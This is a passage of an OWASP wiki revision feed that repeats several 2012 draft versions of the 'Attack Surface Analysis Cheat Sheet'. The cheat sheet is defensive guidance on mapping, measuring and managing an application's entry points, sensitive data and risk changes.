With this approach, you don't need to understand every endpoint in order to understand the Attack Surface and the potential risk profile of a system. Instead, you can count the different general type of endpoints and the number of points of each type. With this you can budget what it will take to assess risk at scale, and you can tell when the risk profile of an application has significantly changed.&lt;br /&gt;
&lt;br /&gt;
= Identifying and Mapping the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
You can start building a baseline description of the Attack Surface in a picture and notes. Spend a few hours reviewing design and architecture documents from an attacker's perspective. Read through the source code and identify different points of entry/exit:&lt;br /&gt;
* UI forms and fields&lt;br /&gt;
* HTTP headers and cookies&lt;br /&gt;
* APIs&lt;br /&gt;
* Files&lt;br /&gt;
* Databases&lt;br /&gt;
* email or other kinds of messages&lt;br /&gt;
* run-time arguments&lt;br /&gt;
* ….?&lt;br /&gt;
&lt;br /&gt;
The total number of different attack points can easily add up into the thousands or more. To make this manageable, break the model into different types based on function, design and technology:&lt;br /&gt;
* Login/authentication entry points&lt;br /&gt;
* Admin interfaces&lt;br /&gt;
* Inquiries and search functions&lt;br /&gt;
* Data entry (CRUD) forms&lt;br /&gt;
* Business workflows&lt;br /&gt;
* Transactional interfaces/APIs&lt;br /&gt;
* Operational command and monitoring interfaces/APIs&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
You also need to identify the confidential and sensitive data in the application, by interviewing developers and users of the system and again by reviewing the source code. &lt;br /&gt;
&lt;br /&gt;
You can build up a picture of the Attack Surface by scanning the application. For web apps you can use a tool like Arachni or Skipfish or w3af or one of the many commercial dynamic testing and vulnerability scanning tools or services to crawl your app and map the parts of the application that are accessible over the web.  &lt;br /&gt;
&lt;br /&gt;
Validate and fill in your understanding of the Attack Surface by walking through some of the main use cases in the system: logging in, searching for an item, placing an order, changing an order, and so on. Follow the flow of control and data through the system, see how information is validated and where it is stored, what resources are touched and what other systems are involved. There is a recursive relationship between Attack Surface Analysis and [[Application Threat Modeling]]: changes to the Attack Surface should trigger threat modeling, and threat modeling helps you to understand the Attack Surface of the application.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface model may be rough and incomplete to start, especially if you haven’t done any security work on the application before. Fill in the holes as you dig deeper in a security analysis, or as you work more with the application and realize that your understanding of the Attack Surface has improved.&lt;br /&gt;
&lt;br /&gt;
= Measuring and Assessing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a map of the Attack Surface, identify the high risk areas. Focus on remote entry points – interfaces with outside systems and to the Internet – and especially where the system allows anonymous, public access. &lt;br /&gt;
* Network-facing, especially internet-facing code&lt;br /&gt;
* Web forms&lt;br /&gt;
* Files from outside of the network&lt;br /&gt;
* Backwards compatible interfaces with other systems – old protocols, sometimes old code and libraries, hard to maintain and test multiple versions&lt;br /&gt;
* Custom APIs – protocols etc – likely to have mistakes in design and implementation&lt;br /&gt;
* Security code: anything to do with crypto, authentication and session management&lt;br /&gt;
&lt;br /&gt;
This is where you are most exposed to attack. Then understand what compensating controls you have in place, operational controls like network firewalls and application firewalls,and intrusion detection or prevention systems to help protect your app.&lt;br /&gt;
&lt;br /&gt;
Michael Howard at Microsoft and other researchers have developed a method for measuring the Attack Surface of an application, and to track changes to the Attack Surface over time, called the [http://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf Relative Attack Surface Quotient (RSQ)]. Using this method you calculate an overall attack surface score for the system, and measure this score as changes are made to the system and to how it is deployed. Researchers at Carnegie Mellon built on this work to develop a formal way to calculate an [http://www.cs.cmu.edu/~pratyus/tse10.pdf Attack Surface Metric] for large systems like SAP. They calculate the Attack Surface as the sum of all entry and exit points, channels (the different ways that clients or external systems connect to the system, including TCP/UDP ports, RPC end points, named pipes...) and untrusted data elements. Then they apply a damage potential/effort ratio to these Attack Surface elements to identify high-risk areas.&lt;br /&gt;
&lt;br /&gt;
= Managing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a baseline understanding of the Attack Surface, you can use it to incrementally identify and manage risks going forward as you make changes to the application. Ask yourself:&lt;br /&gt;
* What has changed? &lt;br /&gt;
* What are you doing different? (technology, new approach, ….)&lt;br /&gt;
* What holes could you have opened?&lt;br /&gt;
&lt;br /&gt;
The first web page that you create opens up the system’s Attack Surface significantly and introduces all kinds of new risks. If you add another field to that page, or another web page like it, while technically you have made the Attack Surface bigger, you haven’t increased the risk profile of the application in a meaningful way. Each of these incremental changes is more of the same, unless you follow a new design or use a new framework.&lt;br /&gt;
&lt;br /&gt;
If you add another web page that follows the same design and using the same technology as existing web pages, it's easy to understand how much security testing and review it needs. If you add a new web services API or file that can be uploaded from the Internet, each of these changes have a different risk profile again - see if if the change fits in an existing bucket, see if the existing controls and protections apply. If you're adding something that doesn't fall into an existing bucket, this means that you have to go through a more thorough risk assessment to understand what kind of security holes you may open and what protections you need to put in place. &lt;br /&gt;
&lt;br /&gt;
Changes to session management and authentication and password management directly affect the Attack Surface and need to be reviewed. So do changes to authorization and access control logic, especially adding or changing role definitions, adding admin users or admin functions with high privileges. Changes to the code that handles encryption and secrets. Fundamental changes to how data validation is done. And major architectural changes to layering and trust relationships, or fundamental changes in technical architecture – swapping out your web server or database platform, or changing the run-time OS. &lt;br /&gt;
&lt;br /&gt;
As you add new user types or roles or privilege levels, you do the same kind of analysis and risk assessment. Overlay the type of access across the data and functions and look for problems and inconsistencies. It's important to understand the access model for the application, whether it is positive (access is deny by default) or negative (access is allow by default). In a positive access model, any mistakes in defining what data or functions are permitted to a new user type or role are easy to see. In a negative access model,you have to be much more careful to ensure that a user does not get access to data/functions that they should not be permitted to.&lt;br /&gt;
&lt;br /&gt;
This kind of threat or risk assessment can be done periodically, or as a part of design work in serial / phased / spiral / waterfall development projects, or continuously and incrementally in Agile / iterative development.&lt;br /&gt;
&lt;br /&gt;
Normally, an application's Attack Surface will increase over time as you add more interfaces and user types and integrate with other systems. You also want to look for ways to reduce the size of the Attack Surface when you can by simplifying the model (reducing the number of user levels for example or not storing confidential data that you don't absolutely have to), turning off features and interfaces that aren't being used, by introducing operational controls such as a Web Application Firewall (WAF).&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
OWASP CLASP Identifying the Attack Surface: [[Identify attack surface]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
OWASP Principles Minimize Attack Surface area: [[Minimize attack surface area]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mitigate Security Risks by Minimizing the Code You Expose to Untrusted Users, Michael Howard http://msdn.microsoft.com/en-us/magazine/cc163882.aspx&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Jim Bird jimbird[at]shaw.ca&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=135367</id>
		<title>Attack Surface Analysis Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=135367"/>
				<updated>2012-09-05T16:58:09Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= What is Attack Surface Analysis and Why is it Important? =&lt;br /&gt;
&lt;br /&gt;
This article describes a simple and pragmatic way of doing Attack Surface Analysis and managing an application's Attack Surface. It is targeted to be used by developers to understand and manage application security risks as they design and change an application, as well as by application security specialists doing a security risk assessment. The focus here is on protecting an application from external attack - it does not take into account attacks on the users or operators of the system (social engineering attacks for example), and there is less focus on insider threats.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis is about mapping out what parts of a system need to be reviewed and tested for security vulnerabilities. The point of Attack Surface Analysis is to understand the risk areas in an application, to make developers and security specialists aware of what parts of the application are open to attack, to find ways of minimizing this, and to notice when and how the Attack Surface changes and what this means from a risk perspective.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis helps you to:&lt;br /&gt;
# identify what functions and what parts of the system you need to review/test for security vulnerabilities&lt;br /&gt;
# identify high risk areas of code that require defense-in-depth protection - what parts of the system that you need to defend&lt;br /&gt;
# identify when you’ve changed the attack surface and need to do some kind of threat assessment&lt;br /&gt;
&lt;br /&gt;
= Defining the Attack Surface of an Application =&lt;br /&gt;
&lt;br /&gt;
The Attack Surface describes all of the different points where an attacker could get into a system, and where they could get data out.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface of an application is:&lt;br /&gt;
# the sum of all paths for data/commands into and out of the application, and &lt;br /&gt;
# the code that protects these paths (including resource connection and authentication, authorization, activity logging, data validation and encoding); and &lt;br /&gt;
# all confidential and sensitive data used in the application, including secrets and keys, critical business data and PII, and &lt;br /&gt;
# the code that protects these data (including encryption and checksums, access auditing, and data integrity and operational security controls).&lt;br /&gt;
&lt;br /&gt;
You overlay this model with the different types of users - roles, privilege levels - that can use the system. Complexity increases with the number of different types of users. But it is important to focus especially on the two extremes: unauthenticated, anonymous users and highly privileged admin users. &lt;br /&gt;
&lt;br /&gt;
Group each type of attack point into buckets based on risk (Internet-facing or internal-facing), purpose, implementation, design and technology. You can then count the number of attack points of each type, then choose some cases for each type, and focus your review/assessment on those cases.&lt;br /&gt;
&lt;br /&gt;
With this approach, you don't need to understand every endpoint in order to understand the Attack Surface and the potential risk profile of a system. Instead, you can count the different general type of endpoints and the number of points of each type. With this you can budget what it will take to assess risk at scale, and you can tell when the risk profile of an application has significantly changed.&lt;br /&gt;
&lt;br /&gt;
= Identifying and Mapping the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
You can start by capturing the Attack Surface baseline in a picture and notes. Spend a few hours reviewing design and architecture documents from an attacker's perspective. Read through the source code and identify different points of entry/exit:&lt;br /&gt;
* UI forms and fields&lt;br /&gt;
* HTTP headers and cookies&lt;br /&gt;
* APIs&lt;br /&gt;
* Files&lt;br /&gt;
* Databases&lt;br /&gt;
* email or other kinds of messages&lt;br /&gt;
* run-time arguments&lt;br /&gt;
* ….?&lt;br /&gt;
&lt;br /&gt;
The total number of different attack points can easily add up into the thousands or more. To make this manageable, break the model into different types based on function, design and technology:&lt;br /&gt;
* Login/authentication entry points&lt;br /&gt;
* Admin interfaces&lt;br /&gt;
* Inquiries and search functions&lt;br /&gt;
* Data entry (CRUD) forms&lt;br /&gt;
* Business workflows&lt;br /&gt;
* Transactional interfaces/APIs&lt;br /&gt;
* Operational command and monitoring interfaces/APIs&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
You also need to identify the confidential and sensitive data in the application, by interviewing developers and users of the system and again by reviewing the source code.&lt;br /&gt;
&lt;br /&gt;
You can build up a picture of the Attack Surface by scanning the application. For web apps you can use a tool like Arachni or Skipfish or w3af or one of the many commercial dynamic testing and vulnerability scanning tools or services to crawl your app and map the parts of the application that are accessible over the web.  &lt;br /&gt;
&lt;br /&gt;
Validate and fill in your understanding of the Attack Surface by walking through some of the main use cases in the system: logging in, searching for an item, placing an order, changing an order, and so on. Follow the flow of control and data through the system, see how information is validated and where it is stored, what resources are touched and what other systems are involved. There is a recursive relationship between Attack Surface Analysis and [[Application Threat Modeling]]: changes to the Attack Surface should trigger threat modeling, and threat modeling helps you to understand the Attack Surface of the application.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface model may be rough and incomplete to start, especially if you haven’t done any security work on the application before. Fill in the holes as you dig deeper in a security analysis, or as you work more with the application and realize that your understanding of the Attack Surface has improved.&lt;br /&gt;
&lt;br /&gt;
= Measuring and Assessing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a map of the Attack Surface, identify the high risk areas. Focus on remote entry points – interfaces with outside systems and to the Internet – and especially where the system allows anonymous, public access. &lt;br /&gt;
* Network-facing, especially internet-facing code&lt;br /&gt;
* Web forms&lt;br /&gt;
* Files from outside of the network&lt;br /&gt;
* Backwards compatible interfaces with other systems – old protocols, sometimes old code and libraries, hard to maintain and test multiple versions&lt;br /&gt;
* Custom APIs – protocols etc – likely to have mistakes in design and implementation&lt;br /&gt;
* Security code: anything to do with crypto, authentication and session management&lt;br /&gt;
&lt;br /&gt;
This is where you are most exposed to attack. Then understand what compensating controls you have in place, operational controls like network firewalls and application firewalls,and intrusion detection or prevention systems to help protect your app.&lt;br /&gt;
&lt;br /&gt;
Michael Howard at Microsoft and other researchers have developed a method for measuring the Attack Surface of an application, and to track changes to the Attack Surface over time, called the [http://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf Relative Attack Surface Quotient (RSQ)]. Using this method you calculate an overall attack surface score for the system, and measure this score as changes are made to the system and to how it is deployed. Researchers at Carnegie Mellon built on this work to develop a formal way to calculate an [http://www.cs.cmu.edu/~pratyus/tse10.pdf Attack Surface Metric] for large systems like SAP. They calculate the Attack Surface as the sum of all entry and exit points, channels (the different ways that clients or external systems connect to the system, including TCP/UDP ports, RPC end points, named pipes...) and untrusted data elements. Then they apply a damage potential/effort ratio to these Attack Surface elements to identify high-risk areas.&lt;br /&gt;
&lt;br /&gt;
= Managing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a baseline understanding of the Attack Surface, you can use it to incrementally identify and manage risks going forward as you make changes to the application. Ask yourself:&lt;br /&gt;
* What has changed? &lt;br /&gt;
* What are you doing different? (technology, new approach, ….)&lt;br /&gt;
* What holes could you have opened?&lt;br /&gt;
&lt;br /&gt;
The first web page that you create opens up the system’s Attack Surface significantly and introduces all kinds of new risks. If you add another field to that page, or another web page like it, while technically you have made the Attack Surface bigger, you haven’t increased the risk profile of the application in a meaningful way. Each of these incremental changes is more of the same, unless you follow a new design or use a new framework.&lt;br /&gt;
&lt;br /&gt;
If you add another web page that follows the same design and using the same technology as existing web pages, it's easy to understand how much security testing and review it needs. If you add a new web services API or file that can be uploaded from the Internet, each of these changes have a different risk profile again - see if if the change fits in an existing bucket, see if the existing controls and protections apply. If you're adding something that doesn't fall into an existing bucket, this means that you have to go through a more thorough risk assessment to understand what kind of security holes you may open and what protections you need to put in place. &lt;br /&gt;
&lt;br /&gt;
Changes to session management and authentication and password management directly affect the Attack Surface and need to be reviewed. So do changes to authorization and access control logic, especially adding or changing role definitions, adding admin users or admin functions with high privileges. Changes to the code that handles encryption and secrets. Fundamental changes to how data validation is done. And major architectural changes to layering and trust relationships, or fundamental changes in technical architecture – swapping out your web server or database platform, or changing the run-time OS. &lt;br /&gt;
&lt;br /&gt;
As you add new user types or roles or privilege levels, you do the same kind of analysis and risk assessment. Overlay the type of access across the data and functions and look for problems and inconsistencies. It's important to understand the access model for the application, whether it is positive (access is deny by default) or negative (access is allow by default). In a positive access model, any mistakes in defining what data or functions are permitted to a new user type or role are easy to see. In a negative access model,you have to be much more careful to ensure that a user does not get access to data/functions that they should not be permitted to.&lt;br /&gt;
&lt;br /&gt;
This kind of threat or risk assessment can be done periodically, or as a part of design work in serial / phased / spiral / waterfall development projects, or continuously and incrementally in Agile / iterative development.&lt;br /&gt;
&lt;br /&gt;
Normally, an application's Attack Surface will increase over time as you add more interfaces and user types and integrate with other systems. You also want to look for ways to reduce the size of the Attack Surface when you can by simplifying the model (reducing the number of user levels for example or not storing confidential data that you don't absolutely have to), turning off features and interfaces that aren't being used, by introducing operational controls such as a Web Application Firewall (WAF).&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
OWASP CLASP Identifying the Attack Surface: [[Identify attack surface]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
OWASP Principles Minimize Attack Surface area: [[Minimize attack surface area]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mitigate Security Risks by Minimizing the Code You Expose to Untrusted Users, Michael Howard http://msdn.microsoft.com/en-us/magazine/cc163882.aspx&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Jim Bird jimbird[at]shaw.ca&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=135366</id>
		<title>Attack Surface Analysis Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=135366"/>
				<updated>2012-09-05T16:57:44Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= What is Attack Surface Analysis and Why is it Important =&lt;br /&gt;
&lt;br /&gt;
This article describes a simple and pragmatic way of doing Attack Surface Analysis and managing an application's Attack Surface. It is targeted to be used by developers to understand and manage application security risks as they design and change an application, as well as by application security specialists doing a security risk assessment. The focus here is on protecting an application from external attack - it does not take into account attacks on the users or operators of the system (social engineering attacks for example), and there is less focus on insider threats.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis is about mapping out what parts of a system need to be reviewed and tested for security vulnerabilities. The point of Attack Surface Analysis is to understand the risk areas in an application, to make developers and security specialists aware of what parts of the application are open to attack, to find ways of minimizing this, and to notice when and how the Attack Surface changes and what this means from a risk perspective.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis helps you to:&lt;br /&gt;
# identify what functions and what parts of the system you need to review/test for security vulnerabilities&lt;br /&gt;
# identify high risk areas of code that require defense-in-depth protection - what parts of the system that you need to defend&lt;br /&gt;
# identify when you’ve changed the attack surface and need to do some kind of threat assessment&lt;br /&gt;
&lt;br /&gt;
= Defining the Attack Surface of an Application =&lt;br /&gt;
&lt;br /&gt;
The Attack Surface describes all of the different points where an attacker could get into a system, and where they could get data out.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface of an application is:&lt;br /&gt;
# the sum of all paths for data/commands into and out of the application, and &lt;br /&gt;
# the code that protects these paths (including resource connection and authentication, authorization, activity logging, data validation and encoding); and &lt;br /&gt;
# all confidential and sensitive data used in the application, including secrets and keys, critical business data and PII, and &lt;br /&gt;
# the code that protects these data (including encryption and checksums, access auditing, and data integrity and operational security controls).&lt;br /&gt;
&lt;br /&gt;
You overlay this model with the different types of users - roles, privilege levels - that can use the system. Complexity increases with the number of different types of users. But it is important to focus especially on the two extremes: unauthenticated, anonymous users and highly privileged admin users. &lt;br /&gt;
&lt;br /&gt;
Group each type of attack point into buckets based on risk (Internet-facing or internal-facing), purpose, implementation, design and technology. You can then count the number of attack points of each type, then choose some cases for each type, and focus your review/assessment on those cases.&lt;br /&gt;
&lt;br /&gt;
With this approach, you don't need to understand every endpoint in order to understand the Attack Surface and the potential risk profile of a system. Instead, you can count the different general type of endpoints and the number of points of each type. With this you can budget what it will take to assess risk at scale, and you can tell when the risk profile of an application has significantly changed.&lt;br /&gt;
&lt;br /&gt;
= Identifying and Mapping the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
You can start by capturing the Attack Surface baseline in a picture and notes. Spend a few hours reviewing design and architecture documents from an attacker's perspective. Read through the source code and identify different points of entry/exit:&lt;br /&gt;
* UI forms and fields&lt;br /&gt;
* HTTP headers and cookies&lt;br /&gt;
* APIs&lt;br /&gt;
* Files&lt;br /&gt;
* Databases&lt;br /&gt;
* email or other kinds of messages&lt;br /&gt;
* run-time arguments&lt;br /&gt;
* ….?&lt;br /&gt;
&lt;br /&gt;
The total number of different attack points can easily add up into the thousands or more. To make this manageable, break the model into different types based on function, design and technology:&lt;br /&gt;
* Login/authentication entry points&lt;br /&gt;
* Admin interfaces&lt;br /&gt;
* Inquiries and search functions&lt;br /&gt;
* Data entry (CRUD) forms&lt;br /&gt;
* Business workflows&lt;br /&gt;
* Transactional interfaces/APIs&lt;br /&gt;
* Operational command and monitoring interfaces/APIs&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
You also need to identify the confidential and sensitive data in the application, by interviewing developers and users of the system and again by reviewing the source code.&lt;br /&gt;
&lt;br /&gt;
You can build up a picture of the Attack Surface by scanning the application. For web apps you can use a tool like Arachni or Skipfish or w3af or one of the many commercial dynamic testing and vulnerability scanning tools or services to crawl your app and map the parts of the application that are accessible over the web.  &lt;br /&gt;
&lt;br /&gt;
Validate and fill in your understanding of the Attack Surface by walking through some of the main use cases in the system: logging in, searching for an item, placing an order, changing an order, and so on. Follow the flow of control and data through the system, see how information is validated and where it is stored, what resources are touched and what other systems are involved. There is a recursive relationship between Attack Surface Analysis and [[Application Threat Modeling]]: changes to the Attack Surface should trigger threat modeling, and threat modeling helps you to understand the Attack Surface of the application.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface model may be rough and incomplete to start, especially if you haven’t done any security work on the application before. Fill in the holes as you dig deeper in a security analysis, or as you work more with the application and realize that your understanding of the Attack Surface has improved.&lt;br /&gt;
&lt;br /&gt;
= Measuring and Assessing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a map of the Attack Surface, identify the high risk areas. Focus on remote entry points – interfaces with outside systems and to the Internet – and especially where the system allows anonymous, public access. &lt;br /&gt;
* Network-facing, especially internet-facing code&lt;br /&gt;
* Web forms&lt;br /&gt;
* Files from outside of the network&lt;br /&gt;
* Backwards compatible interfaces with other systems – old protocols, sometimes old code and libraries, hard to maintain and test multiple versions&lt;br /&gt;
* Custom APIs – protocols etc – likely to have mistakes in design and implementation&lt;br /&gt;
* Security code: anything to do with crypto, authentication and session management&lt;br /&gt;
&lt;br /&gt;
This is where you are most exposed to attack. Then understand what compensating controls you have in place, operational controls like network firewalls and application firewalls,and intrusion detection or prevention systems to help protect your app.&lt;br /&gt;
&lt;br /&gt;
Michael Howard at Microsoft and other researchers have developed a method for measuring the Attack Surface of an application, and to track changes to the Attack Surface over time, called the [http://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf Relative Attack Surface Quotient (RSQ)]. Using this method you calculate an overall attack surface score for the system, and measure this score as changes are made to the system and to how it is deployed. Researchers at Carnegie Mellon built on this work to develop a formal way to calculate an [http://www.cs.cmu.edu/~pratyus/tse10.pdf Attack Surface Metric] for large systems like SAP. They calculate the Attack Surface as the sum of all entry and exit points, channels (the different ways that clients or external systems connect to the system, including TCP/UDP ports, RPC end points, named pipes...) and untrusted data elements. Then they apply a damage potential/effort ratio to these Attack Surface elements to identify high-risk areas.&lt;br /&gt;
&lt;br /&gt;
= Managing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a baseline understanding of the Attack Surface, you can use it to incrementally identify and manage risks going forward as you make changes to the application. Ask yourself:&lt;br /&gt;
* What has changed? &lt;br /&gt;
* What are you doing different? (technology, new approach, ….)&lt;br /&gt;
* What holes could you have opened?&lt;br /&gt;
&lt;br /&gt;
The first web page that you create opens up the system’s Attack Surface significantly and introduces all kinds of new risks. If you add another field to that page, or another web page like it, while technically you have made the Attack Surface bigger, you haven’t increased the risk profile of the application in a meaningful way. Each of these incremental changes is more of the same, unless you follow a new design or use a new framework.&lt;br /&gt;
&lt;br /&gt;
If you add another web page that follows the same design and using the same technology as existing web pages, it's easy to understand how much security testing and review it needs. If you add a new web services API or file that can be uploaded from the Internet, each of these changes have a different risk profile again - see if if the change fits in an existing bucket, see if the existing controls and protections apply. If you're adding something that doesn't fall into an existing bucket, this means that you have to go through a more thorough risk assessment to understand what kind of security holes you may open and what protections you need to put in place. &lt;br /&gt;
&lt;br /&gt;
Changes to session management and authentication and password management directly affect the Attack Surface and need to be reviewed. So do changes to authorization and access control logic, especially adding or changing role definitions, adding admin users or admin functions with high privileges. Changes to the code that handles encryption and secrets. Fundamental changes to how data validation is done. And major architectural changes to layering and trust relationships, or fundamental changes in technical architecture – swapping out your web server or database platform, or changing the run-time OS. &lt;br /&gt;
&lt;br /&gt;
As you add new user types or roles or privilege levels, you do the same kind of analysis and risk assessment. Overlay the type of access across the data and functions and look for problems and inconsistencies. It's important to understand the access model for the application, whether it is positive (access is deny by default) or negative (access is allow by default). In a positive access model, any mistakes in defining what data or functions are permitted to a new user type or role are easy to see. In a negative access model,you have to be much more careful to ensure that a user does not get access to data/functions that they should not be permitted to.&lt;br /&gt;
&lt;br /&gt;
This kind of threat or risk assessment can be done periodically, or as a part of design work in serial / phased / spiral / waterfall development projects, or continuously and incrementally in Agile / iterative development.&lt;br /&gt;
&lt;br /&gt;
Normally, an application's Attack Surface will increase over time as you add more interfaces and user types and integrate with other systems. You also want to look for ways to reduce the size of the Attack Surface when you can by simplifying the model (reducing the number of user levels for example or not storing confidential data that you don't absolutely have to), turning off features and interfaces that aren't being used, by introducing operational controls such as a Web Application Firewall (WAF).&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
OWASP CLASP Identifying the Attack Surface: [[Identify attack surface]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
OWASP Principles Minimize Attack Surface area: [[Minimize attack surface area]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mitigate Security Risks by Minimizing the Code You Expose to Untrusted Users, Michael Howard http://msdn.microsoft.com/en-us/magazine/cc163882.aspx&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Jim Bird jimbird[at]shaw.ca&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=134904</id>
		<title>Attack Surface Analysis Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=134904"/>
				<updated>2012-08-27T20:57:40Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction =&lt;br /&gt;
&lt;br /&gt;
This article describes a simple and pragmatic way of doing Attack Surface Analysis and managing an application's Attack Surface. It is targeted to be used by developers to understand and manage application security risks as they design and change an application, as well as by application security specialists doing a security risk assessment. The focus here is on protecting an application from external attack - it does not take into account attacks on the users or operators of the system (social engineering attacks for example), and there is less focus on insider threats.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis is about mapping out what parts of a system need to be reviewed and tested for security vulnerabilities. The point of Attack Surface Analysis is to understand the risk areas in an application, to make developers and security specialists aware of what parts of the application are open to attack, to find ways of minimizing this, and to notice when and how the Attack Surface changes and what this means from a risk perspective.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis helps you to:&lt;br /&gt;
# identify what you need to review/test for security vulnerabilities&lt;br /&gt;
# identify high risk areas of code that require defense-in-depth protection&lt;br /&gt;
# identify when you’ve changed the attack surface and need to do some kind of threat assessment&lt;br /&gt;
&lt;br /&gt;
= Defining the Attack Surface of an Application =&lt;br /&gt;
&lt;br /&gt;
The Attack Surface describes all of the different points where an attacker could get into a system, and where they could get data out.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface of an application is:&lt;br /&gt;
# the sum of all paths for data/commands into and out of the application, and &lt;br /&gt;
# the code that protects these paths (including resource connection and authentication, authorization, activity logging, data validation and encoding); and &lt;br /&gt;
# all confidential and sensitive data used in the application, including secrets and keys, critical business data and PII, and &lt;br /&gt;
# the code that protects these data (including encryption and checksums, access auditing, and data integrity and operational security controls).&lt;br /&gt;
&lt;br /&gt;
You overlay this model with the different types of users - roles, privilege levels - that can use the system. Complexity increases with the number of different types of users. But it is important to focus especially on the two extremes: unauthenticated, anonymous users and highly privileged admin users. &lt;br /&gt;
&lt;br /&gt;
Group each type of attack point into buckets based on risk (Internet-facing or internal-facing), purpose, implementation, design and technology. You can then count the number of attack points of each type, then choose some cases for each type, and focus your review/assessment on those cases.&lt;br /&gt;
&lt;br /&gt;
With this approach, you don't need to understand every endpoint in order to understand the Attack Surface and the potential risk profile of a system. Instead, you can count the different general type of endpoints and the number of points of each type. With this you can budget what it will take to assess risk at scale, and you can tell when the risk profile of an application has significantly changed.&lt;br /&gt;
&lt;br /&gt;
= Identifying and Mapping the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
You can start by capturing the Attack Surface baseline in a picture and notes. Spend a few hours reviewing design and architecture documents from an attacker's perspective. Read through the source code and identify different points of entry/exit:&lt;br /&gt;
* UI forms and fields&lt;br /&gt;
* HTTP headers and cookies&lt;br /&gt;
* APIs&lt;br /&gt;
* Files&lt;br /&gt;
* Databases&lt;br /&gt;
* email or other kinds of messages&lt;br /&gt;
* run-time arguments&lt;br /&gt;
* ….?&lt;br /&gt;
&lt;br /&gt;
The total number of different attack points can easily add up into the thousands or more. To make this manageable, break the model into different types based on function, design and technology:&lt;br /&gt;
* Login/authentication entry points&lt;br /&gt;
* Admin interfaces&lt;br /&gt;
